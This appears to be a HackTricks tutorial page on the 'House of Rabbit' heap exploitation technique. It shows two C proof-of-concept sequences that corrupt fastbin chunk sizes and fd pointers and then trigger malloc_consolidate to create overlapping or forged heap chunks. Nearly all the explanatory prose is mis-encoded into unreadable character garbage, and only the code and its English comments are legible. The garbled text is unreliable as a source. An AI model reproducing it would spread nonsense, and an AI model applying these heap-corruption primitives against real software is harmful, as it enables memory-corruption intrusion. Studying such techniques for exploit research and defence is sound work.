House of Rabbit
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Requirements
- ๋น ๋ฅธ ๋น fd ํฌ์ธํฐ ๋๋ ํฌ๊ธฐ๋ฅผ ์์ ํ ์ ์๋ ๋ฅ๋ ฅ: ์ด๋ ๋น ๋ฅธ ๋น์ ์ฒญํฌ์ ์ ๋ฐฉ ํฌ์ธํฐ ๋๋ ํฌ๊ธฐ๋ฅผ ๋ณ๊ฒฝํ ์ ์์์ ์๋ฏธํฉ๋๋ค.
malloc_consolidate๋ฅผ ํธ๋ฆฌ๊ฑฐํ ์ ์๋ ๋ฅ๋ ฅ: ์ด๋ ํฐ ์ฒญํฌ๋ฅผ ํ ๋นํ๊ฑฐ๋ ์๋จ ์ฒญํฌ๋ฅผ ๋ณํฉํ์ฌ ํ์ด ์ฒญํฌ๋ฅผ ํตํฉํ๋๋ก ๊ฐ์ ํจ์ผ๋ก์จ ์ํํ ์ ์์ต๋๋ค.
Goals
- ๊ฒน์น๋ ์ฒญํฌ ๋ง๋ค๊ธฐ: ํ๋์ ์ฒญํฌ๊ฐ ๋ค๋ฅธ ์ฒญํฌ์ ๊ฒน์น๋๋ก ํ์ฌ ์ถ๊ฐ์ ์ธ ํ ์กฐ์์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
- ๊ฐ์ง ์ฒญํฌ ์์กฐํ๊ธฐ: ํ ๋น์๋ฅผ ์์ฌ ํ ์์ ์ค์ ๊ฐ์ง ์ฒญํฌ๋ฅผ ํฉ๋ฒ์ ์ธ ์ฒญํฌ๋ก ์ทจ๊ธํ๊ฒ ํฉ๋๋ค.
Steps of the attack
POC 1: ๋น ๋ฅธ ๋น ์ฒญํฌ์ ํฌ๊ธฐ ์์
๋ชฉํ: ๋น ๋ฅธ ๋น ์ฒญํฌ์ ํฌ๊ธฐ๋ฅผ ์กฐ์ํ์ฌ ๊ฒน์น๋ ์ฒญํฌ๋ฅผ ๋ง๋ญ๋๋ค.
- 1๋จ๊ณ: ์ฒญํฌ ํ ๋น
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
์ฐ๋ฆฌ๋ ๊ฐ๊ฐ 0x40 ๋ฐ์ดํธ ํฌ๊ธฐ์ ๋ ๊ฐ์ ์ฒญํฌ๋ฅผ ํ ๋นํฉ๋๋ค. ์ด ์ฒญํฌ๋ ํด์ ๋๋ฉด ๋น ๋ฅธ ๋น ๋ชฉ๋ก์ ๋ฐฐ์น๋ฉ๋๋ค.
- 2๋จ๊ณ: ์ฒญํฌ ํด์
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
๋ ์ฒญํฌ๋ฅผ ํด์ ํ์ฌ fastbin ๋ชฉ๋ก์ ์ถ๊ฐํฉ๋๋ค.
- 3๋จ๊ณ: ์ฒญํฌ ํฌ๊ธฐ ์์
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
chunk1์ ํฌ๊ธฐ ๋ฉํ๋ฐ์ดํฐ๋ฅผ 0xa1๋ก ๋ณ๊ฒฝํฉ๋๋ค. ์ด๋ ํตํฉ ์ค์ ํ ๋น์๋ฅผ ์์ด๋ ์ค์ํ ๋จ๊ณ์
๋๋ค.
- 4๋จ๊ณ:
malloc_consolidateํธ๋ฆฌ๊ฑฐ
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
ํฐ ์ฒญํฌ๋ฅผ ํ ๋นํ๋ฉด malloc_consolidate ํจ์๊ฐ ํธ์ถ๋์ด ๋น ๋ฅธ ๋น์ ์์ ์ฒญํฌ๊ฐ ๋ณํฉ๋ฉ๋๋ค. ์กฐ์๋ chunk1์ ํฌ๊ธฐ๋ก ์ธํด chunk1์ด chunk2์ ๊ฒน์น๊ฒ ๋ฉ๋๋ค.
๋ณํฉ ํ, chunk1์ chunk2์ ๊ฒน์ณ ์ถ๊ฐ์ ์ธ ์
์ฉ์ด ๊ฐ๋ฅํฉ๋๋ค.
POC 2: fd ํฌ์ธํฐ ์์
๋ชฉํ: ๋น ๋ฅธ ๋น fd ํฌ์ธํฐ๋ฅผ ์กฐ์ํ์ฌ ๊ฐ์ง ์ฒญํฌ๋ฅผ ์์ฑํฉ๋๋ค.
- 1๋จ๊ณ: ์ฒญํฌ ํ ๋น
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
์ค๋ช : ์ฐ๋ฆฌ๋ ๊ฐ์ง ์ฒญํฌ๋ฅผ ์ค์ ํ๊ธฐ ์ํด ํ๋๋ ๋ ์๊ณ ํ๋๋ ๋ ํฐ ๋ ๊ฐ์ ์ฒญํฌ๋ฅผ ํ ๋นํฉ๋๋ค.
- ๋จ๊ณ 2: ๊ฐ์ง ์ฒญํฌ ๋ง๋ค๊ธฐ
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
chunk2์ ๊ฐ์ง ์ฒญํฌ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์์ฑํ์ฌ ๋ ์์ ์ฒญํฌ๋ฅผ ์๋ฎฌ๋ ์ด์
ํฉ๋๋ค.
- 3๋จ๊ณ:
chunk1ํด์
free(chunk1); // Frees the chunk at 0x602000
์ค๋ช
: ์ฐ๋ฆฌ๋ chunk1์ ํด์ ํ์ฌ fastbin ๋ชฉ๋ก์ ์ถ๊ฐํฉ๋๋ค.
- ๋จ๊ณ 4:
chunk1์fd์์
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
์ค๋ช
: ์ฐ๋ฆฌ๋ chunk1์ ํฌ์๋ ํฌ์ธํฐ(fd)๋ฅผ chunk2 ๋ด๋ถ์ ๊ฐ์ง ์ฒญํฌ๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๋ณ๊ฒฝํฉ๋๋ค.
- ๋จ๊ณ 5:
malloc_consolidateํธ๋ฆฌ๊ฑฐํ๊ธฐ
malloc(5000); // Allocate a large chunk to trigger heap consolidation
ํฐ ์ฒญํฌ๋ฅผ ๋ค์ ํ ๋นํ๋ฉด malloc_consolidate๊ฐ ํธ๋ฆฌ๊ฑฐ๋์ด ๊ฐ์ง ์ฒญํฌ๋ฅผ ์ฒ๋ฆฌํฉ๋๋ค.
๊ฐ์ง ์ฒญํฌ๋ fastbin ๋ชฉ๋ก์ ์ผ๋ถ๊ฐ ๋์ด ์ถ๊ฐ์ ์ธ ์ ์ฉ์ ์ํ ํฉ๋ฒ์ ์ธ ์ฒญํฌ๊ฐ ๋ฉ๋๋ค.
์์ฝ
House of Rabbit ๊ธฐ๋ฒ์ fast bin ์ฒญํฌ์ ํฌ๊ธฐ๋ฅผ ์์ ํ์ฌ ๊ฒน์น๋ ์ฒญํฌ๋ฅผ ์์ฑํ๊ฑฐ๋ fd ํฌ์ธํฐ๋ฅผ ์กฐ์ํ์ฌ ๊ฐ์ง ์ฒญํฌ๋ฅผ ์์ฑํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ ํ์์ ํฉ๋ฒ์ ์ธ ์ฒญํฌ๋ฅผ ์์กฐํ ์ ์์ด ๋ค์ํ ํํ์ ์
์ฉ์ด ๊ฐ๋ฅํด์ง๋๋ค. ์ด๋ฌํ ๋จ๊ณ๋ฅผ ์ดํดํ๊ณ ์ฐ์ตํ๋ฉด ํ ์
์ฉ ๊ธฐ์ ์ด ํฅ์๋ฉ๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


